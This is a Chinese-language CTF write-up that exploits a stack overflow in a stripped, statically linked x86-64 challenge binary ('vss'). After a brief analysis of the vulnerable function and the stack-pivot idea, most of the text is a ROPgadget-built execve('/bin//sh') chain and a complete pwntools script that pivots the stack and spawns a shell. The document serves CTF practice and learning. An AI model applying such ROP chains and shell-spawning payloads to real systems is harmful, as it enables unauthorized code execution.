第一次做静态链接的题，题本身不难，但是静态编译加striped加成，才拿到时还是一脸懵逼的~
分析程序
检查下保护措施：
没什么保护，但是查看文件信息发现是静态链接的，打开ida后就是一脸懵逼：
里面很多神奇的函数，格式很相似，入口点在start处，而从start开始发现和动态链接就不一样，那就只能使用Windows逆向技巧，通过字符串的交叉引用找关键函数：
这里的标记是自己做的，方法呢就是先点进去看看，若是很奇怪那就是库函数，再猜意思作标记，这里来看似乎没什么漏洞，有个关键函数，它是传入输入值返回成功或失败，跟入看看：
这里可以看到溢出了，缓冲区在rbp-40h而可以读50h字节，刚好覆盖rbp与返回地址，至于下面if语句里面是要干什么可以直接忽略，即使输入的前两字节为’py’即可，那么怎么利用呢？它这里溢出的位数很有限，于是可以使用stack pivot将栈转移到上一个函数的缓冲区里面，那里面再存放rop链~
strncpy这个这个函数会复制到字符串直到遇到空字符或到最大长度，前者会将剩下空间使用null填满，后者不会再在缓冲区之后添加空字符。因为某事今天栽在这个函数上了~
利用代码
- 使用ropgadget构造rop链：
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86➜ Desktop ROPgadget --binary vss --ropchain
....................................................................
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x000000000046f208) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401823) # pop rdi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000043ae05) # pop rdx ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045f2a5) # syscall ; ret - 查找add rsp的gadget
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12➜ Desktop ROPgadget --binary vss --only 'add|ret' | grep rsp
0x00000000004161b0 : add rsp, 0x18 ; ret
0x0000000000462cda : add rsp, 0x28 ; ret
0x000000000046e432 : add rsp, 0x30 ; ret
0x000000000047a2b5 : add rsp, 0x38 ; ret
0x000000000046f175 : add rsp, 0x48 ; ret
0x000000000046f205 : add rsp, 0x58 ; ret
0x000000000046f2f1 : add rsp, 0x78 ; ret
0x000000000044892a : add rsp, 0xd0 ; ret
0x00000000004080c7 : add rsp, 0xd8 ; ret
0x00000000004002dd : add rsp, 8 ; ret - 构造payload
观察下我们输入的400h字节的位置，再考虑它前两字节已经固定，rop链比较长，所以可以选择rsp+58h的gadget，下面是完整利用代码结果：1
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93#!/usr/bin/env python
# coding=utf-8
from pwn import *
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x000000000046f208) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401823) # pop rdi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000043ae05) # pop rdx ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045f2a5) # syscall ; ret
addRspRet = 0x000000000046f205
payload = 'py'+'a'*(0x48-0x2)+p64(addRspRet)+'a'*(0x58-0x50)+p
p = process('vss')
p.recv()
#gdb.attach(p)
p.send(payload)
p.interactive()